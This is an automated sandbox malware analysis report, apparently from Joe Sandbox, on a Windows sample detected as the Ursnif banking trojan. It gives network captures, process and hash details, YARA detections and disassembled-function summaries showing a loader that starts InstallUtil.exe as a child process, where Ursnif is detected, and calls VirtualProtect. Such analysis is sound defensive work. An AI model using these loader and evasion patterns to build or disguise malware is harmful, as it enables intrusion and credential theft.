
www.msn.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49703	13.107.40.203	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	kBytes transferred	Direction	Data
May 19, 2022 14:41:40.455178022 CEST	109	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Connection: Keep-Alive Cache-Control: no-cache Host: www.msn.com
May 19, 2022 14:41:40.559830904 CEST	110	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store, no-transform Pragma: no-cache Content-Length: 142 Content-Type: text/html; charset=utf-8 Expires: -1 Location: http://www.msn.com/de-ch/ Vary: User-Agent Set-Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJkZS1jaCIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZGUtZGUiLCJDb3VudHJ5Q29kZSI6IkNIIn19LCJFeHBpcnlUaW1lIjo2MzgyMDA5NjkwMDQ5NzI5NzksIlZlcnNpb24iOjF90; domain=msn.com; expires=Fri, 19-May-2023 12:41:40 GMT; path=/; HttpOnly Set-Cookie: marketPref=de-ch; domain=msn.com; expires=Fri, 19-May-2023 12:41:40 GMT; path=/; HttpOnly Access-Control-Allow-Origin: * X-AspNetMvc-Version: 5.2 X-AppVersion: 20220517_28677693 X-Activity-Id: efab37a0-e368-4926-ad9f-55ad4ca02ec9 X-Az: {did:2be360ae5c6345da911d978376c0449f, rid: 20, sn: neurope-prod-hp, dt: 2022-05-18T22:13:14.6536596Z, bt: 2022-05-17T20:41:53.5606999Z} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} X-UA-Compatible: IE=Edge;chrome=1 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN X-Powered-By: ASP.NET Ac Data Raw: Data Ascii:
May 19, 2022 14:41:40.559859991 CEST	111	IN	Data Raw: 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 48 45 41 44 2c 47 45 54 2c 4f 50 54 49 4f 4e 53 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 0d 0a 58 2d 43 61 63 68 65 3a 20 43 4f 4e 46 49 47 5f Data Ascii: ess-Control-Allow-Methods: HEAD,GET,OPTIONSX-XSS-Protection: 1X-Cache: CONFIG_NOCACHEX-MSEdge-Ref: Ref A: EFAB37A0E3684926AD9F55AD4CA02EC9 Ref B: HEL01EDGE1020 Ref C: 2022-05-19T12:41:40ZDate: Thu, 19 May 2022 12:41:39 GMT<html><he
May 19, 2022 14:41:40.597235918 CEST	111	OUT	GET /de-ch/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Connection: Keep-Alive Cache-Control: no-cache Host: www.msn.com Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJkZS1jaCIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZGUtZGUiLCJDb3VudHJ5Q29kZSI6IkNIIn19LCJFeHBpcnlUaW1lIjo2MzgyMDA5NjkwMDQ5NzI5NzksIlZlcnNpb24iOjF90; marketPref=de-ch
May 19, 2022 14:41:40.899105072 CEST	113	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, no-transform Pragma: no-cache Content-Length: 336579 Content-Type: text/html; charset=utf-8 Expires: -1 Vary: User-Agent Set-Cookie: PreferencesMsn=eyJFeHBpcnlUaW1lIjo2MzgyMDA5NjkwMDYzNzkyNDAsIlZlcnNpb24iOjF90; domain=msn.com; expires=Fri, 19-May-2023 12:41:40 GMT; path=/; HttpOnly Access-Control-Allow-Origin: * X-AspNetMvc-Version: 5.2 X-AppVersion: 20220517_28677693 X-Activity-Id: ded43fef-0e10-4ef5-a726-676e283054af X-Az: {did:2be360ae5c6345da911d978376c0449f, rid: 20, sn: neurope-prod-hp, dt: 2022-05-18T22:13:14.6536596Z, bt: 2022-05-17T20:41:53.5606999Z} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} X-UA-Compatible: IE=Edge;chrome=1 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN X-Powered-By: ASP.NET Access-Control-Allow-Methods: HEAD,GET,OPTIONS X-XSS-Protection: 1 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: DED43FEF0E104EF5A726676E283054AF Ref B: HEL01EDGE1020 Ref C: 2022-05-19T12:41:40Z Date: Thu, 19 May 2022 12:41:40 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 20 20 6c 61 6e 67 3d 22 64 65 2d 43 48 22 20 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 22 20 20 63 6c 61 73 Data Ascii: <!DOCTYPE html><html prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" lang="de-CH" style="font-size:62.5%" clas
May 19, 2022 14:41:40.899158001 CEST	114	IN	Data Raw: 73 3d 22 68 69 70 65 72 66 22 20 20 64 69 72 3d 22 6c 74 72 22 20 3e 0a 0a 20 20 20 20 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 76 3a 32 30 32 32 30 35 31 37 5f 32 38 36 37 37 36 39 33 3b 61 3a 64 65 64 34 33 66 65 66 2d 30 65 31 30 2d Data Ascii: s="hiperf" dir="ltr" > <head data-info="v:20220517_28677693;a:ded43fef-0e10-4ef5-a726-676e283054af;cn:20;az:{did:2be360ae5c6345da911d978376c0449f, rid: 20, sn: neurope-prod-hp, dt: 2022-05-18T22:13:14.6536596Z, bt: 2022-05-17T20:41:53.56
May 19, 2022 14:41:40.899624109 CEST	115	IN	Data Raw: 6c 65 61 70 69 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 73 6e 2e 63 6f 6d 2f 64 65 2d 63 68 2f 68 6f 6d 65 70 61 67 65 2f 61 70 69 2f 6d 6f 64 75 6c 65 73 2f 66 65 74 63 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b Data Ascii: leapi":"http://www.msn.com/de-ch/homepage/api/modules/fetch","cdnmoduleapi":"http://static-global-s-msn-com.akamaized.net/de-ch/homepage/api/modules/cdnfetch","pdpdeltaupdateapi":"http://www.ms
May 19, 2022 14:41:40.899843931 CEST	117	IN	Data Raw: 6d 66 61 63 74 6f 72 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 64 65 73 6b 74 6f 70 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 77 77 77 2e 6d 73 6e 2e 63 6f 6d 26 71 75 6f 74 3b 2c 26 71 75 6f 74 Data Ascii: mfactor":"desktop","domain":"www.msn.com","locale":{"language":"de","script":"","market":"ch"},"os":"windows","pa
May 19, 2022 14:41:40.899981022 CEST	118	IN	Data Raw: 72 65 73 68 5f 63 6f 75 6e 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 30 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 6a 61 78 74 69 6d 65 6f 75 74 69 6e 73 65 63 6f 6e 64 73 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 36 30 26 71 75 6f 74 3b 7d 2c 26 71 Data Ascii: resh_count":"0","ajaxtimeoutinseconds":"60"},"imgsrc":{"quality_high":"60","quality_low":"5","order_timeout":"1000"},"adsettings&quot
May 19, 2022 14:41:40.900139093 CEST	119	IN	Data Raw: 29 20 7b 20 69 66 20 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 20 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 29 20 7b 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 54 Data Ascii: ) { if (typeof window.performance.mark == "function") { window.performance.mark("TimeToHeadStart"); } }</script> <meta charset="utf-8" /> <meta name="robots" content="index, follow"/> <link rel="preload" href
May 19, 2022 14:41:40.900228977 CEST	121	IN	Data Raw: 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 61 74 69 63 2d 67 6c 6f 62 61 6c 2d 73 2d 6d 73 6e 2d 63 6f 6d 2e 61 6b 61 6d 61 69 7a 65 64 2e 6e 65 74 2f 68 70 2d 6e 65 75 2f 64 65 2d 63 68 2f 68 6f Data Ascii: el="stylesheet" href="http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/d7cb56b9-/direction=ltr.locales=de-ch.themes=start.dpi=resolution1x/e2-71f5b2-345a9e05/e5-356483-1afafcc5/7f-145015-491caa4c/8b-ebeae2-377c9bd6/84
May 19, 2022 14:41:40.900367022 CEST	122	IN	Data Raw: 65 2c 68 5b 65 5d 3d 74 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 6e 2c 72 2c 75 29 7b 69 66 28 72 7c 7c 28 72 3d 74 29 2c 69 29 72 65 74 75 72 6e 20 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6e 29 3b 75 7c 7c 28 75 3d 6f 28 72 29 29 3b Data Ascii: e,h[e]=t),t}function l(n,r,u){if(r\|\|(r=t),i)return r.createElement(n);u\|\|(u=o(r));var f;return f=u.cache[n]?u.cache[n].cloneNode():y.test(n)?(u.cache[n]=u.createElem(n)).cloneNode():u.createElem(n),f.canHaveChildren&&!v.test(n)?u.frag.appendCh
May 19, 2022 14:41:40.900387049 CEST	122	IN	Data Raw: 28 22 61 22 29 3b 6e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 78 79 7a 3e 3c 5c 2f 78 79 7a 3e 22 3b 66 3d 22 68 69 64 64 65 6e 22 69 6e 20 6e 3b 69 3d 6e 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 3d 3d 31 7c 7c 66 75 6e 63 74 69 6f 6e Data Ascii: ("a");n.innerHTML="<xyz><\/xyz>";f="hidden"in n;i=n.childNodes.length==1\|\|function(){t.createElement("a");var n=t.createDocumentFragment();return typeof n.cloneNode
May 19, 2022 14:41:40.901165009 CEST	124	IN	Data Raw: 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7c 7c 74 79 70 65 6f 66 20 6e 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7c 7c 74 79 70 65 6f 66 20 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e Data Ascii: =="undefined"\|\|typeof n.createDocumentFragment=="undefined"\|\|typeof n.createElement=="undefined"}()}catch(r){f=!0;i=!0}})();r={elements:u.elements\|\|"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgro

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: OojqjHGE0W.exePID: 3408, Parent PID: 5100

General

Target ID:	0
Start time:	14:39:49
Start date:	19/05/2022
Path:	C:\Users\user\Desktop\OojqjHGE0W.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\OojqjHGE0W.exe"
Imagebase:	0xb20000
File size:	1241656 bytes
MD5 hash:	4ED3FA33609A51BAF209A5954BEF6633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: InstallUtil.exePID: 5584, Parent PID: 3408

General

Target ID:	10
Start time:	14:41:25
Start date:	19/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase:	0xd80000
File size:	41064 bytes
MD5 hash:	EFEC8C379D165E3F33B536739AEE26A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.501961576.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.502032730.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.501571456.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.501753987.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 0000000A.00000002.535054926.0000000001B69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.501977722.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.501825234.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.501701977.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000000A.00000003.501914236.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: OojqjHGE0W.exePID: 3408, Parent PID: 5100COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	1225
Total number of Limit Nodes:	20

Executed Functions

Function 00B31E90 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 66
sleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(msimg32.dll), ref: 00B31F9F
Sleep.KERNELBASE(0000000F), ref: 00B31FA7

Strings

Tofoc, xrefs: 00B31F8C
Kadiquap yak yapese gicihe caf wokatixa, xrefs: 00B31EF9
Lopaga boko totin quovite nat nijati caxebi, xrefs: 00B31F1F
Taveni wekaw nedowogi toh ketelo yiyero bopix nig lexakesi, xrefs: 00B31EC3
msimg32.dll, xrefs: 00B31F9A
Saqua xogakoga hitomigi baq ridihi xiwik gon, xrefs: 00B31F78
Kewiwali tineq hoki kahe quo xexiqua, xrefs: 00B31EF2
Golimafo nedofa cej goy koci woben tikavi, xrefs: 00B31F93
Yoka kalex jeh goror, xrefs: 00B31EBC
Menif dina lebi tijijebi docoye delivev rotoxor halofa fijac, xrefs: 00B31ED3

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: LibraryLoadSleep
String ID: Golimafo nedofa cej goy koci woben tikavi$Kadiquap yak yapese gicihe caf wokatixa$Kewiwali tineq hoki kahe quo xexiqua$Lopaga boko totin quovite nat nijati caxebi$Menif dina lebi tijijebi docoye delivev rotoxor halofa fijac$Saqua xogakoga hitomigi baq ridihi xiwik gon$Taveni wekaw nedowogi toh ketelo yiyero bopix nig lexakesi$Tofoc$Yoka kalex jeh goror$msimg32.dll
API String ID: 2118945035-2037848005
Opcode ID: 2d531f41cbf00890d6c32676c86e4372f5b2ba4d7de6a79e3e7c507f4828d0c6
Instruction ID: 8be7f4e9892d54e6f3be1c1e3298dd7b339f3118e3c11037615d587dfd61950a
Opcode Fuzzy Hash: 2d531f41cbf00890d6c32676c86e4372f5b2ba4d7de6a79e3e7c507f4828d0c6
Instruction Fuzzy Hash: 3D315E70C19259CADB00DFE8D5492EFBBF0EF54305F1094A8D108BB291EBB90B84CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00B2F410 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 53
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(761A0000,VirtualProtect), ref: 00B2F445
VirtualProtect.KERNELBASE(00B48720,000E93B5,00000040,?), ref: 00B306DF

Strings

Hiheb binihoye powisaw xobi, xrefs: 00B2F42E
Joj jegal diq ritigipe debaw wovireko fitati sojofi hox wayi getog, xrefs: 00B30685
Balafe nod, xrefs: 00B2F423
Rexobey famiwi gope hipofaxa hac, xrefs: 00B306C8
Tedojade noverore ceyoho wiy xafela xit canav, xrefs: 00B306B6
VirtualProtect, xrefs: 00B2F439
Vaqueweh, xrefs: 00B3069D

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: AddressProcProtectVirtual
String ID: Balafe nod$Hiheb binihoye powisaw xobi$Joj jegal diq ritigipe debaw wovireko fitati sojofi hox wayi getog$Rexobey famiwi gope hipofaxa hac$Tedojade noverore ceyoho wiy xafela xit canav$Vaqueweh$VirtualProtect
API String ID: 3759838892-90842377
Opcode ID: 6f76c6339b18d24ff75cfa1c39efb4014c15e6aba3997f1034590ba370f24ec7
Instruction ID: fc90655ef2fef0d7006b26cb382d8c88827f5d3e77514dcd34382535c1dd6395
Opcode Fuzzy Hash: 6f76c6339b18d24ff75cfa1c39efb4014c15e6aba3997f1034590ba370f24ec7
Instruction Fuzzy Hash: 0C219F70818298DAEB01EBA8E8497AEBEF5AF11308F1040C8D4047B291D7F50A58D7AA

Uniqueness

Uniqueness Score: -1.00%

Function 00B2CAF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(761A0000,LocalFree), ref: 00B2CB18
LocalFree.KERNELBASE(02744020), ref: 00B2CB2A

Strings

LocalFree, xrefs: 00B2CB0D

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: AddressFreeLocalProc
String ID: LocalFree
API String ID: 1054450353-1040775051
Opcode ID: 53ec078022ad4b0c9a5d95bf003f078a60412de83b663496f1eead183f36e0f0
Instruction ID: 8d58d4c4990a917baa7944eb260501569aff8190ddbe6340a9c8558d6d63c01f
Opcode Fuzzy Hash: 53ec078022ad4b0c9a5d95bf003f078a60412de83b663496f1eead183f36e0f0
Instruction Fuzzy Hash: 71E00AB1126210EB861CDBA9FC85F6E3BEDB7487407255559B20AC3261CF34B8409B65

Uniqueness

Uniqueness Score: -1.00%

Function 00B35AD0 Relevance: 1.5, APIs: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000,?,00B3290B,?,?,00B35C40), ref: 00B35AD7

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 89a2a8d3bdd4108df50ebd0492a4838b26ef67c03faf6578c2a82e9aac1c69e1
Instruction ID: 49323de22ac96c4490940e90956eb030d743b2a89d20cace940da571e81a3ced
Opcode Fuzzy Hash: 89a2a8d3bdd4108df50ebd0492a4838b26ef67c03faf6578c2a82e9aac1c69e1
Instruction Fuzzy Hash: E9A0123104424C63C21016966809B523A0CC3C0A32F000011F10C021404D5154414055

Uniqueness

Uniqueness Score: -1.00%

Function 00B31FC0 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___security_init_cookie.LIBCMTD ref: 00B31FC5

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 10aa842220d1ae97c82873596692f60cc5af0d811702c0041fe5b51822d43d2c
Instruction ID: cd9c6fa5229b7b2913188b7eee77e83e6a0bc4f56e751db1b896e957bdbe840c
Opcode Fuzzy Hash: 10aa842220d1ae97c82873596692f60cc5af0d811702c0041fe5b51822d43d2c
Instruction Fuzzy Hash: BBA0027100464826116833A60D17A1B75CE49C1710FB540907518021071C64A94590A6

Uniqueness

Uniqueness Score: -1.00%

Function 00B297E6 Relevance: 1.3, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 00B29D6A

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 12759f8a02a33d999778be81645607cd66a46a60ac0140e5043cb831fd0ea93d
Instruction ID: cf4ae3afe581e2d623e533a8764e55a205607107633e6d00084e0aad754c8592
Opcode Fuzzy Hash: 12759f8a02a33d999778be81645607cd66a46a60ac0140e5043cb831fd0ea93d
Instruction Fuzzy Hash: 7501BD3080C276E7C7158B18F8C9AB27FE8DB02360F2003D9E5AEAF595D3302505A312

Uniqueness

Uniqueness Score: -1.00%

Function 00B2980D Relevance: 1.3, APIs: 1, Instructions: 17
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 00B29D6A

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 5763525157c9af74562bc5ec1667a25c374f8ca3a72bfaf80d8df7f7b0acff5c
Instruction ID: c21158c100e73684eeb91486f4d22567e35e3a87aa695523240dd804d3856da9
Opcode Fuzzy Hash: 5763525157c9af74562bc5ec1667a25c374f8ca3a72bfaf80d8df7f7b0acff5c
Instruction Fuzzy Hash: B3E0C2B0408755EBC7208B50E989A677BF5AB08340F2045DD929AAB141CA706580F755

Uniqueness

Uniqueness Score: -1.00%

Function 00B29D5E Relevance: 1.3, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 00B29D6A

Memory Dump Source

Source File: 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.477988456.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478029468.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478185803.0000000000C32000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478230729.0000000000C33000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.478243091.0000000000C36000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_OojqjHGE0W.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 4958111e46b0db01031ab94d08d2d317dedb0035050c053ef021dc9506a32ced
Instruction ID: 4dad4db2d4ef086c538d10ad40b794aa6d82cd81282e0857a3b88c685e3987b2
Opcode Fuzzy Hash: 4958111e46b0db01031ab94d08d2d317dedb0035050c053ef021dc9506a32ced
Instruction Fuzzy Hash: B3C08060404315F5D7019B50645BD593960B704300F100595D11552145DA7046419715

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

